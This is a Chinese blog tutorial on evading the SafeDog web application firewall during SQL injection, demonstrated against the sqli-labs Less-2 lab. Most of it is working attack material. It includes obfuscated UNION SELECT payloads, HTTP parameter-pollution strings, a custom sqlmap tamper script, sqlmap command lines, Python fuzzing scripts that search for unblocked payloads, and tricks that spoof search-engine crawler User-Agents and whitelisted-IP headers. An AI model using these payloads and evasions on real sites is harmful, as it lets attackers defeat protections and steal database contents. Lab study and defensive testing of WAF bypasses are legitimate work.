资讯专栏INFORMATION COLUMN

WAF绕过—SQL注入

roland_reed / 1122人阅读

摘要:可以针对这个文件尝试进行注入方式四爬虫白名单如果对网站访问速度过快,则会被拦截但是某些网站是采用爬虫进行运转的,例如百度。

WAF绕过—SQL注入


对数据进行:大小写、加解密、编码解码等操作,使拦截失效
例如,以sqlilabs-less-2为例(假设安全狗已经设置了禁止查询数据库):
此时输入以下语句时,注入将会被拦截

id=-1 union select 1,database(),3#

首先我们大致分析一下为什么会被拦截?
安全狗拦截方式里采用了类似于正则表达式的编程,匹配到database()这个数据时,自动过滤。所以我们绕过只需要改变database()就行了:
下列语句中混插了“/**/”这样,安全狗就无法匹配到database了
最基础的的一个拦截原理:

id=-1 union select 1,database/**/(),3#

拦截2,如果安全狗开启了拦截SQL联合注入时

联合注入绕过


只要使用在url内包含union select 的关键字段,就会被拦截
如果我们把注入按照以下格式写,就能绕过:

union #aselect 1,2,3#            #号表示注释掉后面的内容

通过转换工具可知:%23为#号,%0a为换行符,所以,绕过的写法如下:

http://192.168.56.104/sqlilbas/Less-2/?id=-1%20union%20%23a%0aselect 1,2,3#

参数污染


当用户通过id=进行传递参数时,PHP/Apache服务器默认获取到的参数为Last,即最后一个值,例如当输入多个参数时:

http://192.168.56.104/sqlilbas/Less-2/?id=1&id=2

如果采用PHP/Apache,id最终传递进去的值为2(忽略掉了id=1)
针对这个特性,只要我们知道了目标网站的服务器,我们再进行参数污染注入:

http://192.168.56.104/sqlilbas/Less-2/?id=1 /**&id=-1%20union%20select%201,2,3%23*/http://192.168.56.104/sqlilbas/Less-2/?id=1%20/**&id=-1%20union%20select%201,version(),3--+*/

成功绕过:

原理:
因为安全狗能将这里这里的数据全部匹配(安全狗认为/**/中的内容是被注释的,不执行的),?id=1 /**&id=-1 union select 1,2,3#*/,但PHP/Apache服务器只匹配后面的值(id=-1 union select 1,2,3#*/)
所以真正执行的语句是:

select * from users where id=-1 union select 1,2,3#*/

sqlmap利用参数污染注入

我们自定一个sqlmap的temper名叫rdog.py,格式写法可以参照其他的tmper作模板,下面举例只写了两个payload,可以根据需要自己再多写几个

#%23a%0aunion/*!44575select*/1,2,3        payload = payload.replace("union","%23a%0aunion")        payload = payload.replace("select","/*!44575select*/")        payload = payload.replace("%20","%23a%0a")        payload = payload.replace("%20","%23a%0a")        payload = payload.replace(" ","%23a%0a")        payload = payload.replace("database()","database%23a%0a()")

我们这时候就可以拿脚本去跑
其中--tamper为设置某个py脚本,--proxy为设置http代理(方便burpsuite抓包分析,可以不写),--random-agent为绕过安全狗拦截sqlmap注入工具

python sqlmap.py -u "192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://127.0.0.1:8888 --random-agent

相关参数污染

/*!50001 select * from test */;

这里50001表示假如 数据库是5.00.01以上版本,该语句才会被执行
同时,这里可以和union select绕过配合起来,例如:

union all /*!50001 select * from test */;

(all也是一个干扰,防匹配)
这样就不是一个完整的union select,所以也有可能绕过安全狗

fuzz跑参数污染字典

import requestsimport timeurl="http://"for sqlin in open("unionselect.txt"):    urls=urls+sqlin    result=requests.get(urls).text    if(result.find("safedog")==-1):        print(sqlin)    time.sleep(1)

另一种思路(代码可能有误,仅作思路)

import requestsurl="http://192.168.56.104/sqlilbas/Less-2/?id=-1"a={"%23x%0aunion",".0union","%09union","%0aunion","%0bunion","%0cunion","%0dunion","%20union","%a0union"}b="/*!"c="select*/"d="1,2,3"for i in range(44500,44600):    for aa in a:        urls=url+aa+b+str(i)+c+d        #fp=open("bypasstestsqlin.txt","a+")        #fp.write(urls+"/n")        result=requests.get(urls).text        print(result)        if(result.find("safedog")==-1):            print(urls)

补充:
/*!select * from tables limit 0,1*/;与select * from tables limit 0,1;等价

sqlmap访问过快被拦截

方法一:爬虫白名单

首先百度找一个搜索引擎爬虫http指纹头
例如百度爬虫:
Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8;baidu Transcoder) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729)
然后修改sqlmap的user-agent相关教程
这里我们使用自定义user-agent

python sqlmap.py -u "http://192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://192.168.56.217:8888 --user-agent="Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8;baidu Transcoder) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729)" --tables

方法二:延时注入

参数:
–delay
–safe-freq

python sqlmap.py -u "http://192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://192.168.56.217:8888 --tables --delay 1python sqlmap.py -u "http://192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://192.168.56.217:8888 --tables --safe-freq 3

方法三:代理池

补充问题(自定义sqlmap访问过快被拦截的参数):

如果某waf工具检测的不止是user-agent,还检测了sqlmap不支持的头,例如检测的是Cache-Control部分的内容,该如何解决呢?

1.使用burpsuite的intruder,然后在positions页面修改成*号,添加一个变量,再到payloads里设置变量的字典,不断替换(这种办法需要替换每一个的数据包,相当麻烦,不推荐)

2.可以把post数据放到一个txt里(把需要检测的值修改好)。

再使用:-r参数

python sqlmap.py -r 3.txt --tamper=rdog.py --proxy=http://192.168.56.217:8888 --tables

3.自己写脚本进行中转,这篇文章最后有提到如何中转,相同的,中转中也可以写user-agent参数,相关文章:
https://www.cnblogs.com/keta/p/9469417.html
思路:sqlmap注入本地脚本地址——>本地搭建脚本(请求数据包自定义编写)——>远程地址

深入WAF绕过:

方式一:白名单绕过

1.通过IP白名单,伪造数据包中的header头来bypass waf
x-forwarded-for
x-remote-ip
x-originating-ip
x-remote-addr
x-real-ip

方式二:静态资源

特定的 资源后缀请求,txt文件写进去,常见的静态文件(.js.jpg.swf.css等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件后缀的请求

less-2/index.php/x.txt?id=1 and 1=1less-2/index.php/x.js?id=1 and 1=1

备注:Aspx/php只识别到前面的.aspx/.php后面基本不识别

方式三:url白名单


因为在某些文件中执行的操作可能会被误拦截,部分网站可能会添加此类白名单。可以针对这个文件尝试进行注入

方式四:爬虫白名单

如果对网站访问速度过快,则会被拦截
但是某些网站是采用爬虫进行运转的,例如百度。一般来说,各个网站都会把百度的爬虫放进白名单。
我们则可以使用head后中的User-Agent来伪造Baiduspider(百度爬虫)

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/122981.html

相关文章

  • SQL注入实战 绕WTS-WAF

    摘要:注入的一次实战,手动注入绕过完成注入目标网站是江苏某公司未拿到授权,以练习为主点到为止绝不做违法的事情该漏洞已提交至补天漏洞安全响应平台免责声明本文章仅供学习和参考。因用于其他用途而产生不良后果作者不承担任何法律责任。 ...

    szysky 评论0 收藏0
  • WAF绕过-漏洞发现-漏扫绕过

    摘要:快代理漏扫注入测试绕过延时白名单扫描绕过安全狗,设置最低速或者修改指纹头各大搜索引擎的漏扫注入测试绕过延时白名单注意不是每个工具都可以控制扫描速度和改变指纹头,比如貌似就不行。充钱代理池直接干漏洞发现 ...

    Jeff 评论0 收藏0
  • Sqlmap入土详解

    摘要:注入常用参数参数作用扫描指定的地址,判断是否存在注入存储数据库的表中条目获取当前用户下所有数据库名称获取数据库的所有用户查询表查询字段指定数据库名指定表名指定字段名其余参数参数作用显示帮助显示高级帮助显 Sqlmap注入常用参数 参数作用-u [url]扫描指定的URL地址,判断是否存在注入...

    gplane 评论0 收藏0
  • 细说——SQL注入

    摘要:年得到了国际标准组织的持,成为了国际标准。其成因可以归结为以下两个原因叠加造成的。这个过程称之为盲注。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成的二次注入。 ...

    JouyPub 评论0 收藏0
  • RASP 完爆 WAF 的5大理由!

    摘要:优于的大优势极少误报率不同于,不依赖于分析网络流量去寻找问题,除了发现漏洞或发现攻击行为,它通常不会发出任何声音。这样能极大地减少误报率。 Web 应用防火墙(WAF)已经成为常见 Web 应用普遍采用的安全防护工具,即便如此,WAF 提供的保护方案仍旧存在诸多不足,笔者认为称 WAF 为好的安全监控工具更为恰当。幸运的是,应用安全保护技术也在快速发展,运行时应用程序自我保护系统(简称...

    atinosun 评论0 收藏0

发表评论

0条评论

roland_reed

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<